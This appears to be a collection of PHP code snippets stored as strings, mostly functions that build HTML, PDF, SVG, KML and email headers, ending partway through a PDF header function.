"public function header() {\r\n $html = <<<HTML\r\n\r\n <header>\r\n <p class=\"welcomeScreen\" ><img src=\"images/title.png\" alt=\"\" ></p>\r\n <h1 class=\"welcomeScreen\">$this->title</h1>\r\n </header>\r\nHTML;\r\n return $html;\r\n }",
"function Header($pdf)\n{\n $pdf->Image(URL.'Public\\Img\\Todos\\LogoPDF.png',5,5,-300);\n //Arial bold 15\n $pdf->SetFont('Arial','B',15);\n //Movernos a la derecha\n $pdf->SetY(15);\n $pdf->Cell(80);\n //Título\n $pdf->Cell(37,10,'Programación',0,0,'C');\n $pdf->Cell(100,10,'Fecha: '.date('Y-m-d'),0,0,'C');\n $pdf->Line(10,33,$pdf->GetPageWidth()-10,33);\n //Salto de línea\n $pdf->Ln(20);\n}",
"private static final function getJSSHeader () {\r\n $jssHeaderString = new S;\r\n $jssReplaceString = new S ('[%SCRIPT_JS_SRC%]');\r\n $jssPureString = new FileContent (FORM_TP_DIR . _S . 'frm_web_header_js.tp');\r\n foreach (self::$objPageJSS as $k => $v) {\r\n $jssHeaderString->appendString (str_replace ($jssReplaceString->toString (),\r\n self::$objPageJSS[$k], $jssPureString->toString ()));\r\n }\r\n // Do return ...\r\n return $jssHeaderString;\r\n }",
"public function getLogo();",
"abstract public function header();",
"function respHeader_data() {\n\tif( ! get_header_image() ) {\n\t\treturn; // no image set\n\t}\n\t$h = get_custom_header();\n\tif( ! $h ) {\n\t\treturn; // just in case\n\t}\n\t$id = $h->attachment_id;\n\tif( ! $id ) {\n\t\t// means default headers, use the data as it is\n\t\treturn apply_filters( 'respHeader', (array) $h);\n\t} \n\n\t// Otherwise, get header img info\n\t$h = (array) $h;\n\t$postData = get_post( $id );\n\t$h['title'] = $postData->post_title;\n\t$h['description'] = $postData->post_excerpt;\n\t$h['maybebuttons'] = $postData->post_content;\n\n\t$alt = get_post_meta( $id, '_wp_attachment_image_alt' );\n\t! $alt && $alt = get_the_title( $id);\n\t! $alt && $alt = \"Site header image\";\n\t$h['alt'] = $alt;\n\n\t// add srcset\n\t$srcset = get_header_srcset();\n\n\t$h['srcset'] = $srcset;\n\n\treturn apply_filters( 'respHeader', $h);\n}",
"private function createHeader() {\r\n\t\t$headerHtml = $this->getHeaderHtml();\r\n\t\t//Guardo el archivo del header\r\n\t\t$htmlPath = $this->localTmpFolder . $this->fileName . '_currentHeader' . '.html';\r\n\t\t$fh = fopen($htmlPath, 'w');\r\n\t\tfwrite($fh, $headerHtml);\r\n\t\tfclose($fh);\r\n\t\treturn $headerHtml;\r\n\t}",
"function get_header_image_tag($attr = array())\n {\n }",
"function gs_svg_img_markup( $svg, $bck, $additional = array() ) {\n\t$img_array = array_merge( $additional, array('onerror' => 'this.onerror=null; this.src=\\'' . esc_url($bck['url']) .'\\'' ) );\n\treturn wp_get_attachment_image($svg['ID'], 'full', false, $img_array );\n}",
"function get_html_header();",
"public function getHeader()\n {\n return <<<EOF\n<info>\nWW WW UU UU RRRRRR FFFFFFF LL \nWW WW UU UU RR RR FF LL \nWW W WW UU UU RRRRRR FFFF LL \n WW WWW WW UU UU RR RR FF LL \n WW WW UUUUU RR RR FF LLLLLLL \n \n</info>\n\nEOF;\n\n}",
"function Header(){\r\n\t\t//Aqui va el encabezado\r\n\t\tif ($this->iSector==98){\r\n\t\t\tp_FuenteGrandeV2($this,'B');\r\n\t\t\t$this->Cell($this->iAnchoLibre,5,utf8_decode('Información de depuración'), 0, 0, 'C');\r\n\t\t\t$this->Ln();\r\n\t\t\treturn;\r\n\t\t\t}\r\n\t\t$iConFondo=0;\r\n\t\tif ($this->sFondo!=''){\r\n\t\t\tif (file_exists($this->sFondo)){\r\n\t\t\t\t$this->Image($this->sFondo, 0, 0, $this->iAnchoFondo);\r\n\t\t\t\t$iConFondo=1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t$yPos=$this->GetY();\r\n\t\tif ($yPos<$this->iBordeEncabezado){\r\n\t\t\t$this->SetY($this->iBordeEncabezado);\r\n\t\t\t}\r\n\t\tif ($iConFondo==0){\r\n\t\t\tp_TituloEntidad($this, false);\r\n\t\t\t}else{\r\n\t\t\tp_FuenteGrandeV2($this,'B');\r\n\t\t\t}\r\n\t\tif ($this->iReporte==1902){\r\n\t\t\t//Ubique aqui los componentes adicionales del encabezado\r\n\t\t\t$this->Cell($this->iAnchoLibre,5,'Eventos '.$this->sRefRpt, 0, 0, 'C');\r\n\t\t\t$this->Ln();\r\n\t\t\t}\r\n\t\t$yPos=$this->GetY();\r\n\t\tif ($yPos<$this->iBordeSuperior){\r\n\t\t\t$this->SetY($this->iBordeSuperior);\r\n\t\t\t}\r\n\t\t}",
"function Header() {\n //$this->Ln(2);\n date_default_timezone_set('America/Lima');\n $this->SetFont('Arial', 'B', 7.5);\n $this->Image(\"view/img/logo.png\", null, 5, 22, 17);\n $this->Image(\"view/img/logo.png\", 385, 5, 20, 20);\n $this->Cell(400,2, \"EL AGUILA SRL\", 0, 0, 'C');\n $this->Ln(4);\n $this->Cell(400,1, \"DIR1: Av. Bolivar # 395 Moshoqueque - Chiclayo - Peru\", 0, 0, 'C');\n $this->Ln(3);\n $this->Cell(400, 2, \"DIR1: Via Evitamiento km 2.5 Sector Chacupe - La Victoria\", 0, 0, 'C');\n $this->Ln(15);\n $this->SetFont('Arial','B',9);\n// $this->Cell(400, 2, utf8_decode(\"Cumplimiento de entrega de las ordenes de Pedido\"), 0, 0, 'C');\n $this->ln(4); \n $this->Line(45,25,380,25);\n \n }",
"function buildSvgElement($sourceFile, array $attributes) {\n $element = file_get_contents($sourceFile);\n $tagStartPosition = stripos($element, \"<svg \");\n $insertionStartPosition = $tagStartPosition + 5;\n $quotesDelimitedStringPattern = '(\"|\\')((?:\\\\\\1|(?:(?!\\1).))*)\\1';\n foreach (['class', 'width', 'height', 'fill', 'xmlns'] as $key) {\n $pattern = \"/$key=$quotesDelimitedStringPattern/\";\n $element = preg_replace($pattern, \"\", $element);\n }\n foreach ($attributes as $key => $attribute) {\n $pattern = \"/$key=$quotesDelimitedStringPattern/\";\n if (preg_match($pattern, $element)) {\n $replacement = \"$key=$1{$attribute}$1\";\n $element = preg_replace($pattern, $replacement, $element);\n } else {\n $element = substr_replace($element, \"$key='{$attribute} '\", $insertionStartPosition, 0);\n }\n }\n return preg_replace('/\\s+/', ' ', $element);\n}",
"function get_css_header();",
"public function getDiv(): String\n {\n $val = '<div class=\"section\" id=\"section' . $this->__sectionNumber . '\">';\n $val .= '<svg class=\"mapoverview\" id=\"svg-span\">';\n $val .= $this->SVGOBJECTS;\n $val .= '</svg></div>';\n return $val;\n }",
"function include_svg($svg, $echo = true, $create_path = true){\n\n\t$theme_directory = THEME_DIR;\n\t$id = ! $create_path ? '' : $svg;\n\tif( $create_path ) {\n\t\t$svg = $theme_directory . '/assets/svgs/' . $svg . '.svg';\n\t\tif( ! file_exists($svg) ) return;\n\t\t$loadType = 'load';\n\t} else {\n\t\t$curl = getstatus($svg);\n\t\tif( $curl['status'] == 400 ) return;\n\t\t$svg = $curl['return'];\n\t\t$loadType = 'loadHTML';\n\t}\n\t$doc = new DOMDocument();\n\t$doc->$loadType($svg);\n\t$svg = $doc->getElementsByTagName('svg');\n\tforeach ($svg as $s) {\n\t\t$svgRatio = $s->getAttribute('viewBox');\n\t\t$svgRatio = explode( ' ', $svgRatio );\n\t\tunset( $svgRatio[0] ); unset( $svgRatio[1] );\n\t}\n\t$return = '<div class=\"svg\" id=\"' . $id . '\" aria-hidden=\"true\"><canvas width=\"' . $svgRatio[2] . '\" height=\"' . $svgRatio[3] . '\"></canvas>' . $svg->item(0)->C14N() . '</div>';\n\tif( $echo ){\n\t\techo $return;\n\t} else {\n\t\treturn $return;\n\t}\n}",
"public static function fillAnnotationHeader($uuid) { \n\t\t$result = \"<rdf:RDF\n\txmlns:dwcFP=\\\"http://filteredpush.org/ontologies/oa/dwcFP.owl#\\\"\n\txmlns:rdf=\\\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\\\"\n\txmlns:oad=\\\"http://filteredpush.org/ontologies/oa/oad.rdf#\\\"\n\txmlns:foaf=\\\"http://xmlns.com/foaf/0.1/\\\"\n\txmlns:owl=\\\"http://www.w3.org/2002/07/owl#\\\"\n\txmlns:dc=\\\"http://purl.org/dc/elements/1.1/\\\"\n\txmlns:dwc=\\\"http://rs.tdwg.org/dwc/terms/\\\"\n\txmlns:dct=\\\"http://purl.org/dc/term/\\\"\n\txmlns:oa=\\\"http://www.w3.org/ns/oa#\\\"\n\txmlns:rdfs=\\\"http://www.w3.org/2000/01/rdf-schema#\\\"\n\txmlns:cnt=\\\"http://www.w3.org/2011/content#\\\" >\n\t<rdf:Description rdf:about=\\\"urn:uuid:$uuid#\\\">\n\t <rdf:type rdf:resource=\\\"http://www.w3.org/2002/07/owl#Ontology\\\"/>\n\t</rdf:Description>\\n\";\n return $result;\t\t\t\t\t\t\n\t}",
"function receipt_header($x, $y)\n{\n\tglobal $receipt, $pdf;\n\n\t$font_size = 12;\n\t$yy = $y;\n\t$xmax = $x + 420;\n\t$pdf->line($x, $y, $xmax, $y);\n\t$y -= $font_size;\n\n//\ttext_align_left($x + 2,$y + 2,$font_size - 4, iconv(\"UTF-8\", \"ISO-8859-2\", trans('Stamp:')));\n\t$y = text_wrap($x + 2, $y, 170, $font_size - 2, '<b>'.iconv(\"UTF-8\", \"ISO-8859-2\", $receipt['d_name']).'</b>', NULL);\n\t$y = text_wrap($x + 2, $y, 170, $font_size - 2, '<b>'.iconv(\"UTF-8\", \"ISO-8859-2\", $receipt['d_address']).'</b>', NULL);\n\ttext_wrap($x + 2, $y, 170, $font_size - 2,'<b>'.iconv(\"UTF-8\", \"ISO-8859-2\", $receipt['d_zip'].' '.$receipt['d_city']).'</b>', NULL);\n\t$y = $yy - $font_size;\n\n\tif($receipt['type'] == 'out')\n\t\ttext_align_center($xmax - 70, $y - 10, $font_size + 4, '<b>'.iconv(\"UTF-8\", \"ISO-8859-2\", trans('CR-out')).'</b>');\n\telse\n\t\ttext_align_center($xmax - 70, $y - 10, $font_size + 4, '<b>'.iconv(\"UTF-8\", \"ISO-8859-2\", trans('CR-in')).'</b>');\n\ttext_align_center($xmax - 70, $y - 30, $font_size, '<b>'.iconv(\"UTF-8\", \"ISO-8859-2\", trans('No. $a',$receipt['number'])).'</b>');\n\n\tif($receipt['type'] == 'out')\n\t\t$y -= text_align_center($x + 210, $y, $font_size, '<b>'.iconv(\"UTF-8\", \"ISO-8859-2\", trans('Proof of Pay-out')).'</b>');\n\telse\n\t\t$y -= text_align_center($x + 210, $y, $font_size, '<b>'.iconv(\"UTF-8\", \"ISO-8859-2\", trans('Proof of Payment')).'</b>');\n\t$y -= text_align_center($x + 210, $y, $font_size + 4,'<b>'.iconv(\"UTF-8\", \"ISO-8859-2\", trans('Receipt')).'</b>');\n\t$y -= text_align_center($x + 210, $y, $font_size, iconv(\"UTF-8\", \"ISO-8859-2\", trans('Date:')).' '.date(\"Y/m/d\", $receipt['cdate']));\n\n\t$y += $font_size / 2;\n\t$pdf->line($x, $yy, $x, $y);\n\t$pdf->line($x + 140, $yy, $x + 140, $y);\n\t$pdf->line($x + 280, $yy, $x + 280, $y);\n\t$pdf->line($xmax, $yy, $xmax, $y);\n\t$pdf->line($x, $y, $xmax, $y);\n\n\treturn $y;\n}",
"function print_pie_chart()\n {\n \t$ChartDiameter = $this->ChartRadius*2;\n \t//determine graphic size\n $ChartWidth = $ChartDiameter + 20;\n $ChartHeight = $ChartDiameter + 20 + (($this->ChartFontHeight + 2) * count($this->ChartData));\n //determine total of all values\n $ChartTotal=0;\n foreach($this->ChartData as $Data) $ChartTotal += $Data[0];\n $ChartCenterX = $ChartDiameter/2 + 10;\n $ChartCenterY = $ChartDiameter/2 + 10;\n //set the content type\n header(\"Content-type: image/svg-xml\");\n //mark this as XML\n print('<?xml version=\"1.0\" encoding=\"iso-8859-1\"?>' . \"\\n\");\n //Point to SVG DTD\n print('<!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.0//EN\"\t\"http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd\">'.\"\\n\");\n //start SVG document, set size in \"user units\"\n print(\"<svg xml:space=\\\"preserve\\\" width=\\\"5in\\\" height=\\\"5in\\\" viewBox=\\\"0 0 $ChartWidth $ChartHeight\\\"\\n\\txmlns=\\\"http://www.w3.org/2000/svg\\\"\\n\\txmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\">\\n\");\n\t\t// define filters\n\t\tprint('<defs>'.\"\\n\");\n \tprint('<filter id=\"Shadow\" filterUnits=\"userSpaceOnUse\">'.\"\\n\");\n \tprint(' <!--Copyright 1999 Adobe Systems. You may copy, modify, and distribute this file, if you include this notice & do not charge for the distribution. This file is provided \"AS-IS\" without warranties of any kind, including any implied warranties.-->'.\"\\n\");\n \tprint('\t<feGaussianBlur in=\"SourceAlpha\" stdDeviation=\"4\" result=\"blur\"/>'.\"\\n\");\n print('\t<feOffset in=\"blur\" dx=\"4\" dy=\"4\" result=\"offsetBlurredAlpha\"/>'.\"\\n\");\n print('\t<feSpecularLighting in=\"blur\" surfaceScale=\"5\" specularConstant=\"0.9\" specularExponent=\"20\" lightColor=\"white\" result=\"specularOut\">'.\"\\n\");\n print('\t <feDistantLight azimuth=\"'.$this->lightSource.'\" elevation=\"'.$this->lightHeight.'\"/>'.\"\\n\");\n print('\t</feSpecularLighting>'.\"\\n\");\n print('\t<feComposite in=\"specularOut\" in2=\"SourceAlpha\" operator=\"in\" result=\"specularOut\"/>'.\"\\n\");\n print('\t<feComposite in=\"SourceGraphic\" in2=\"specularOut\" operator=\"arithmetic\" k1=\"0\" k2=\"1\" k3=\"1\" k4=\"0\" result=\"litPaint\"/>'.\"\\n\");\n print('\t<feMerge>'.\"\\n\");\n print('\t <feMergeNode in=\"offsetBlurredAlpha\"/>'.\"\\n\");\n print('\t\t<feMergeNode in=\"litPaint\"/>'.\"\\n\");\n print('\t</feMerge>'.\"\\n\");\n \tprint('</filter>'.\"\\n\");\n \tprint('<filter id=\"MyFilter\" filterUnits=\"userSpaceOnUse\">'.\"\\n\");\n \tprint(' <!--Copyright 1999 Adobe Systems. You may copy, modify, and distribute this file, if you include this notice & do not charge for the distribution. This file is provided \"AS-IS\" without warranties of any kind, including any implied warranties.-->'.\"\\n\");\n \tprint('\t<feGaussianBlur in=\"SourceAlpha\" stdDeviation=\"4\" result=\"blur\"/>'.\"\\n\");\n print('\t<!--<feOffset in=\"blur\" dx=\"4\" dy=\"4\" result=\"offsetBlurredAlpha\"/>-->'.\"\\n\");\n print('\t<feSpecularLighting in=\"blur\" surfaceScale=\"5\" specularConstant=\"0.9\" specularExponent=\"20\" lightColor=\"white\" result=\"specularOut\">'.\"\\n\");\n print('\t <feDistantLight azimuth=\"225\" elevation=\"30\"/>'.\"\\n\");\n print('\t</feSpecularLighting>'.\"\\n\");\n print('\t<feComposite in=\"specularOut\" in2=\"SourceAlpha\" operator=\"in\" result=\"specularOut\"/>'.\"\\n\");\n print('\t<feComposite in=\"SourceGraphic\" in2=\"specularOut\" operator=\"arithmetic\" k1=\"0\" k2=\"1\" k3=\"1\" k4=\"0\" result=\"litPaint\"/>'.\"\\n\");\n print('\t<feMerge>'.\"\\n\");\n print('\t <!--<feMergeNode in=\"offsetBlurredAlpha\"/>-->'.\"\\n\");\n print('\t\t<feMergeNode in=\"litPaint\"/>'.\"\\n\");\n print('\t</feMerge>'.\"\\n\");\n \tprint('</filter>'.\"\\n\");\n\t\tprint('</defs>'.\"\\n\");\n\n // make background rectangle\n print(\"\\t<rect x=\\\"0\\\" y=\\\"0\\\" width=\\\"$ChartWidth\\\" height=\\\"$ChartHeight\\\" style=\\\"fill:$this->colorBody\\\" />\");\n $Degrees = 0;\n $index = 0;\n\t\tprint(\"<g id=\\\"pie\\\" style=\\\"filter:url(#Shadow);\\\">\\n\");\n // draw border\n print(\"\\n\\n\\t<circle cx=\\\"\".($ChartCenterX-1).\"\\\" cy=\\\"\".($ChartCenterY-1).\"\\\" r=\\\"$this->ChartRadius\\\" style=\\\"fill:none; stroke:$this->colorBorder; stroke-width:$this->widthBorder;\\\" />\\n\");\n\t\t// draw each slice\n foreach($this->ChartData as $Label=>$Data)\n {\n $StartDegrees = round($Degrees);\n \t$Degrees += ($Data[0]/$ChartTotal)*360;\n \t$EndDegrees = round($Degrees);\n \t//$CurrentColor = $Value[($index++)%(count($this->colorSlice))];\n\t\t\t$CurrentColor = $Data[1];\n \tprint(\"\\n\\t<!--$Label: \".$Data[0].\" (of $ChartTotal) $StartDegrees to $EndDegrees degrees in $CurrentColor-->\\n\\t\");\n\t\t\tif(!is_null($Data[2])) print(\"<a xlink:href=\\\"\".$Data[2].\"\\\">\\n\\t\\t\");\n \tprint(\"<path d=\\\"\");\n \t//start at center of circle\n \tprint(\"M $ChartCenterX,$ChartCenterY \");\n \t//draw out to circle edge\n \tlist($ArcX, $ArcY) = $this->circle_point($StartDegrees, $ChartDiameter);\n \tprint(\"L \" . floor($ChartCenterX + $ArcX) . \",\" . floor($ChartCenterY + $ArcY) . \" \");\n \t//draw arc\n \tlist($ArcX, $ArcY) = $this->circle_point($EndDegrees, $ChartDiameter);\n \tprint(\"A $this->ChartRadius,$this->ChartRadius 0 0 1 \" .\n \tfloor($ChartCenterX + $ArcX) . \",\" .\n \tfloor($ChartCenterY + $ArcY) .\" \");\n \t//close polygon\n \tprint(\"Z\\\" \");\n \tprint(\"style=\\\"fill:$CurrentColor; stroke:$this->colorBorder; stroke-width:$this->widthPieSliceBorder;\\\"/>\");\n\t\t\tif(!is_null($Data[2])) print(\"\\n\\t</a>\");\n }\n\t\tprint(\"</g>\\n\");\n // draw legend\n $index=0;\n\t\tprint(\"<g id=\\\"legend\\\">\\n\");\n foreach($this->ChartData as $Label=>$Data)\n {\n //$CurrentColor = $this->colorSlice[$index%(count($this->colorSlice))];\n $CurrentColor = $Data[1];\n \t$BoxY = $ChartDiameter + 20 + (($index++)*($this->ChartFontHeight+2));\n \t$LabelY = $BoxY + $this->ChartFontHeight;\n \t//draw color box\n\t\t\tprint(\"\\n\\t\");\n\t\t\tif(!is_null($Data[2])) print(\"<a xlink:href=\\\"\".$Data[2].\"\\\">\\n\\t\\t\");\n \tprint(\"<ellipse cx=\\\"20\\\" cy=\\\"\".($BoxY+(.5)*$this->ChartFontHeight+1).\"\\\" rx=\\\"10\\\" ry=\\\"\".((.5)*$this->ChartFontHeight).\"\\\" style=\\\"fill:$CurrentColor; stroke:$this->colorBorder; stroke-width:$this->widthLegendColorBorder\\\" />\");\n\t\t\tif(!is_null($Data[2])) print(\"\\n\\t</a>\");\n \t//draw label\n\t\t\tprint(\"\\n\\t\");\n\t\t\t$percent = floor(($Data[0]/$ChartTotal)*100); \n\t\t\tif(!is_null($Data[2])) print(\"<a xlink:href=\\\"\".$Data[2].\"\\\">\\n\\t\\t\");\n \tprint(\"<text x=\\\"40\\\" y=\\\"$LabelY\\\" style=\\\"file:$this->colorText; font-size:$this->ChartFontHeight\\\">$Label: \".$Data[0].\" ($percent%)</text>\");\n\t\t\tif(!is_null($Data[2])) print(\"\\n\\t</a>\");\n }\n\t\tprint(\"</g>\\n\");\n //end SVG document\n print(\"\\n</svg>\\n\");\n\t\texit;\n }",
"function Header() {\n //$this->Ln(2);\n date_default_timezone_set('America/Lima');\n $this->SetFont('Arial', 'B', 7.5);\n $this->Image(\"view/img/logo.png\", null, 5, 22, 17);\n $this->Image(\"view/img/logo.png\", 385, 5, 20, 20);\n $this->Cell(400,2, \"EL AGUILA SRL\", 0, 0, 'C');\n $this->Ln(4);\n $this->Cell(400,1, \"DIR1: Av. Bolivar # 395 Moshoqueque - Chiclayo - Peru\", 0, 0, 'C');\n $this->Ln(3);\n $this->Cell(400, 2, \"DIR1: Via Evitamiento km 2.5 Sector Chacupe - La Victoria\", 0, 0, 'C');\n $this->Ln(15);\n $this->SetFont('Arial','B',9);\n $this->Cell(400, 2, utf8_decode(\"Detalle de Producción\"), 0, 0, 'C');\n $this->ln(4); \n $this->Line(45,25,380,25);\n \n }",
"function gphq_build_header() {\n?>\n<!-- GeoTag metadata -->\n<meta name=\"geo.country\" content=\"US\" />\n<meta name=\"geo.region\" content=\"US-AZ\" />\n<meta name=\"geo.placename\" content=\"Chandler, AZ 85225, USA\" />\n<meta name=\"geo.position\" content=\"33.299671, -111.841882\" />\n<!-- GeoURL metadata -->\n<meta name=\"ICBM\" content=\"33.299671, -111.841882\" />\n<meta name=\"DC.title\" content=\"Gangplank - A Collaborative coworking and event space\" />\n<!-- End GeoData -->\n<?php }",
"public function getSponsorlogo() {}",
"private function get_title_img()\n {\n $this->char_count = count($this->strings);\n $this->init_img();\n $font_size = L_FONT_SIZE / $this->char_count;\n $img_y = (L_IMG_HEIGHT + $font_size) / 2;\n $this->create_img($this->string,$font_size,$img_y);\n }",
"function fiftyone_degrees_get_signature_string($signature, $headers) {\n $bytes = array();\n $length = fiftyone_degrees_get_signature_length($signature, $headers);\n for($i = 0; $i < $length; $i++) {\n $bytes[$i] = ord('_');\n }\n foreach ($signature['node_indexs'] as $node_index) {\n $node = fiftyone_degrees_read_node($node_index, $headers);\n $node_characters = fiftyone_degrees_get_node_characters($node, $headers);\n $node_char_count = count($node_characters);\n for ($i = 0; $i < $node_char_count; $i++) {\n $bytes[$node['position'] + $i + 1] = $node_characters[$i];\n }\n }\n $string = '';\n foreach($bytes as $byte) {\n $string .= chr($byte);\n }\n return $string;\n}",
"function add_header_stuff() {\n\n echo '<meta charset=\"utf-8\" />';\n\n echo '<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />';\n\n// include( 'assets/images/sprite/sprite.svg' ); // Include generated SVG Sprite\n// \n// include( 'parts/header-meta' ); // Include additional meta information in the header\n}",
"function make_kml_head()\n{\n\t$output = \n'<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<kml xmlns=\"http://earth.google.com/kml/2.2\">\n<Document>\n\t<name>Picture the past data</name>\n\t<Style id=\"photo_placemark_style_highlight\">\n\t\t<IconStyle>\n\t\t\t<scale>1.4</scale>\n\t\t\t<Icon>\n\t\t\t\t<href>' . SITE_ROOT . '/images/camera.png</href>\n\t\t\t</Icon>\n\t\t\t<hotSpot x=\"0.5\" y=\"0.5\" xunits=\"fraction\" yunits=\"fraction\"/>\n\t\t</IconStyle>\n\t\t<LabelStyle>\n\t\t\t<color>ff00aaff</color>\n\t\t</LabelStyle>\n\t</Style>\n\t<Style id=\"photo_placemark_style_normal\">\n\t\t<IconStyle>\n\t\t\t<scale>1.2</scale>\n\t\t\t<Icon>\n\t\t\t\t<href>' . SITE_ROOT . '/images/camera.png</href>\n\t\t\t</Icon>\n\t\t\t<hotSpot x=\"0.5\" y=\"0.5\" xunits=\"fraction\" yunits=\"fraction\"/>\n\t\t</IconStyle>\n\t\t<LabelStyle>\n\t\t\t<color>ff00aaff</color>\n\t\t</LabelStyle>\n\t</Style>\n\t<StyleMap id=\"photo_placemark_style\">\n\t\t<Pair>\n\t\t\t<key>normal</key>\n\t\t\t<styleUrl>#photo_placemark_style_normal</styleUrl>\n\t\t</Pair>\n\t\t<Pair>\n\t\t\t<key>highlight</key>\n\t\t\t<styleUrl>#photo_placemark_style_highlight</styleUrl>\n\t\t</Pair>\n\t</StyleMap>\n\t<Folder>\n\t\t<name>Picture the Past Photo Collection</name>\n\t\t<open>1</open>\n\t\t<LookAt>\n\t\t\t<longitude>-1.15050</longitude>\n\t\t\t<latitude>52.95333</latitude>\n\t\t\t<altitude>0</altitude>\n\t\t\t<range>873</range>\n\t\t\t<tilt>0.0</tilt>\n\t\t\t<heading>-16</heading>\n\t\t</LookAt>\n\t\t<Style>\n\t\t\t<ListStyle>\n\t\t\t\t<listItemType>check</listItemType>\n\t\t\t\t<bgColor>00ffffff</bgColor>\n\t\t\t</ListStyle>\n\t\t</Style>\n\t\t<Folder>\n\t\t\t<name>Photos</name>\n';\n\treturn $output; \n}",
"public function getOpengraphImage();",
"function theme_header_image()\n{\n $headerImage = get_theme_option('Header Image');\n if ($headerImage) {\n $storage = Zend_Registry::get('storage');\n $headerImage = $storage->getUri($storage->getPathByType($headerImage, 'theme_uploads'));\n return '<div id=\"header-image\"><img src=\"' . $headerImage . '\" /></div>';\n }\n}",
"public function getHeader() {\n\t\tif (!empty($this->header)) {\n\t\t\t$this->header = preg_replace('%(\\r\\n|\\r|\\n)%', self::$crlf, $this->header);\n\t\t}\n\t\t\n\t\t$this->header .=\n\t\t\t'X-Priority: 3'.self::$crlf\n\t\t\t.'X-Mailer: WoltLab Community Framework Mail Package'.self::$crlf\t\t\t\t\t\t\t\t\t\n\t\t\t.'MIME-Version: 1.0'.self::$crlf\n\t\t\t.'From: '.$this->getFrom().self::$crlf\n\t\t\t.($this->getCCString() != '' ? 'CC:'.$this->getCCString().self::$crlf : '')\n\t\t\t.($this->getBCCString() != '' ? 'BCC:'.$this->getBCCString().self::$crlf : '');\t\t\t\t\t\n\t\t\t\n\t\tif (count($this->getAttachments())) {\n\t\t\t$this->header .= 'Content-Transfer-Encoding: 8bit'.self::$crlf;\n\t\t\t$this->header .= 'Content-Type: multipart/mixed;'.self::$crlf;\n\t\t\t$this->header .= \"\\tboundary=\".'\"'.$this->getBoundary().'\";'.self::$crlf;\n\t\t}\n\t\telse {\n\t\t\t$this->header .= 'Content-Transfer-Encoding: 8bit'.self::$crlf;\n\t\t\t$this->header .= 'Content-Type: '.$this->getContentType().'; charset='.CHARSET.self::$crlf;\n\t\t}\n\t\t\n\t\treturn $this->header;\n\t}",
"public function page_header(){\n\t\t$e = $this->Empresa->salida;\n\t\t$this->Empresa->where('id',$this->Empresa->user);\n\t\t$fondo = $this->Empresa->getOne('empresa_fondo','img_fondo');\n\t\t\n\t\t$link = 'index.php?inmv='.$e['nik_empresa'];\t\t\n\t\t$return = '<div class=\"page-header\" style=\"background-image: url(imagenes/fondos/'.$fondo['img_fondo'].');\">';\n\t\t$return .= '<div class=\"header-info\">';\n\t\t$return .= '<div class=\"row\">';\n\t\t$return .= '<div class=\"logo-header\"><a href=\"'.$link.'\"><img src=\"imagenes/logo/'.$e['img'].'\" /></a></div>';\n\t\t$return .= '<div class=\"header-desc col-md-6 visible-md visible-lg\">';\n\t\t$return .= '<h1>'.$e['descripcion'].'</h1>';\n\t\t$return .= '</div>';\n\t\t$return .= '</div>';\n\t\t$return .= '</div>';\n\t\t$return .= '</div>';\n\t\treturn $return;\n\t}",
"public function getHeader() {\n\t\t\tglobal $arConfig; \n\t\t\t$strHTML = \"\\n\\t\\t<title>\" . $this->strTitle . \"</title>\";\n\t\t\t$strHTML .= \"\\n\\t\\t<meta http-equiv=\\\"Content-Type\\\" content=\\\"text/html; charset=utf-8\\\" />\"; \n\t\t\t$strHTML .= \"\\n\\t\\t<link rel=\\\"shortcut icon\\\" href=\\\"\" . fixPath(\"favicon.png\") . \"\\\" type=\\\"image/png\\\" />\"; \n\t\t\tforeach($this->arMeta as $strKey=>$strVal) {\n\t\t\t\t$strHTML .= \"\\n\\t\\t<meta name=\\\"\" . $strKey . \"\\\" content=\\\"\" . $strVal . \"\\\" />\"; \n\t\t\t} \n\t\t\tforeach($this->arCSS as $strFile=>$arData) {\n\t\t\t\t$strHTML .= \"\\n\\t\\t<link rel=\\\"stylesheet\\\" href=\\\"\" . $strFile . \"\\\" type=\\\"text/css\\\" media=\\\"\" . $arData[\"media\"] . \"\\\" />\"; \n\t\t\t} \n\t\t\tforeach($this->arJS as $strFile) {\n\t\t\t\t$strHTML .= \"\\n\\t\\t<script src=\\\"\" . $strFile . \"\\\"></script>\"; \n\t\t\t} \n\t\t\t$strHTML .= \"\\n\\t\\t<script>\n\t\t\t\tvar strRoot = \\\"\" . settings(\"domain\", \"root\") . \"\\\"; \n\t\t\t</script>\"; \n\t\t\t\n\t\t\t\n\t\t\treturn $strHTML; \n\t\t}",
"private static final function getMetaEQVHeader () {\r\n $tagMetaHeaderString = new S;\r\n $tagMetaPureString = new FileContent (FORM_TP_DIR . _S . 'frm_web_head_meta_eqv.tp');\r\n foreach (self::$objMetaEQV as $k => $v) {\r\n $tagMetaHeaderString->appendString (str_replace (array ('[%META_NAME_REPLACE%]', '[%META_CONTENT_INFO%]'),\r\n array (self::$objMetaEQV[$k]['name'], self::$objMetaEQV[$k]['info']), $tagMetaPureString));\r\n }\r\n // Do return ...\r\n return $tagMetaHeaderString;\r\n }",
"function get_custom_header_markup()\n {\n }",
"public function Header() {\r\n\t\t$this->SetLeftMargin( 20 );\r\n\t\t$this->SetFillColor( 255, 255, 255 );\r\n\t\t\r\n\t\tswitch ($this->plantilla) {\r\n\t\t\tcase 1:\r\n\t\t\t$this->EncabezadoFBM1_Info();\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 2:\r\n\t\t\t$this->EncabezadoFBM1();\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 3:\r\n\t\t\t$this->EncabezadoFBM2();\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 4:\r\n\t\t\t$this->EncabezadoFBM3();\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 5:\r\n\t\t\t//$this->SetLeftMargin( 10 );\r\n\t\t\t$y1 = $this->getY();\r\n\t\t\t$x1 = $this->getX();\r\n\t\t\t$this->Celda(75, 23, '', 1, 0, '', true);\r\n\t\t\t$y2 = $this->getY();\r\n\t\t\t$x2 = $this->getX();\r\n\t\t\t$this->Celda(150, 23, '', 1, 0, '', true);\r\n\t\t\t$y3 = $this->getY();\r\n\t\t\t$x3 = $this->getX();\r\n\t\t\t$this->Celda(28, 23, '', 1, 1, '', 